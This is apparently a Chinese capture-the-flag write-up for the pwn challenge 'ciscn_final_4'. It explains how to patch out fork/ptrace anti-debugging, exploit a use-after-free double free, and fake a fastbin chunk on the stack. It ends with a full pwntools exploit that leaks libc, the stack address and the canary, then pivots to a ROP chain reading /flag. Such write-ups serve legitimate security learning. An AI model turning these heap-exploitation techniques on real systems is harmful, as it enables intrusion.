0%

反调试+在栈上伪造堆chunk

首先,检查一下程序的保护机制,没开PIE

沙箱禁用了execve,因此不能getshell,只能构造ROP来读取flag

然后,我们用IDA分析一下

Delete功能没有清空堆指针,存在UAF可以造成double free

new功能可以自由控制大小

程序一开始,我们可以在栈里输入一些数据,因此,我们可以在栈里伪造一个chunk,然后利用fastbin attack申请堆到栈上,这样,我们就能控制栈了。

我们不能接触main函数返回,因为main函数里是一个死循环,我们可以劫持其他函数。

Fastbin attack劫持new函数时,我们可以利用栈上已有的数据,来伪造size,从而绕过fastbin 分配时的size检查。

另外,程序一开始,fork了子进程,然后利用了ptrace,导致我们无法调试它的子进程

因此,我们需要先反调试,一个好的方法是将这里指令修改为jmp,跳过后面的fork、ptrace等操作。

我们要跳到这里

总共的距离为0x000000000040102F-0x0000000000400F91 = 0x9E,因此,我们可以修改call fork指令为jmp $+0x9E,如何知道这条指令的值?我们可以利用pwntools。

然后,我们利用十六进制编辑器,修改call fork处的指令

重新打开IDA,发现fork等操作已经不见了

那么,我们就可以继续来调试了,在new的rbp上方附近,有一个0x40的数据,利用错位,可以伪造成0x40的fastbin的size,从而,我们可以通过malloc(0x30)来申请到此处,进而控制该函数的执行流。但是0x30的大小,我们仅能写一两个rop指令,一个好的方法是利用add rsp,xx,来将栈迁移到下方我们可控的大空间里执行后续rop。

综上,完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#coding:utf8
from pwn import *

sh = remote('node3.buuoj.cn',28016)
#sh = process('./ciscn_final_4')
#sh = process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']

fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk

sh.sendafter('what is your name?',payload)

def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size?',str(size))
sh.sendafter('content?',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index ?',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('index ?',str(index))

#0
add(0x100,'a'*0x100)
#1
add(0x78,'b'*0x78)
#2
add(0x78,'c'*0x78)
#3
add(0x38,'d'*0x38)
#4
add(0x38,'e'*0x38)
#5
add(0x10,'d'*0x10)
#6
add(0x81,'f'*0x81)
#heap_size数组的0x81数据用于伪造chunk的size
heapsize6_addr = 0x0000000000602058
note_addr = 0x00000000006020C0

delete(0)
show(0)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x00000000000353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(heapsize6_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0
add(0x78,payload) #10
#泄露栈地址
show(0)
sh.recvuntil('\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
sh.recvuntil('d'*0x11)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18

#由于无法触发main函数rop,因为有一个死循环,所以我们劫持new函数来rop到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17

payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)

flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)

sh.interactive()